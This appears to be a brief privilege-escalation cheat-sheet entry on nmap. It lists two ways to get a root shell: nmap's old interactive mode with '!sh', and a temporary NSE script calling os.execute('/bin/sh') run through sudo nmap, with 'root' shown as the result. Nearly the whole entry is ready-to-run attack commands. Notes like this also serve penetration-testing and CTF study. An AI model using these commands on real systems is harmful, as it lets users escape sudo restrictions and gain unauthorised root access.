# nmap

 **#nmap -v , Nmap 2.02-5.21 has an interactive mode, try:**

```
 nmap --interactive  
 nmap> !sh
```

```
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF

root
```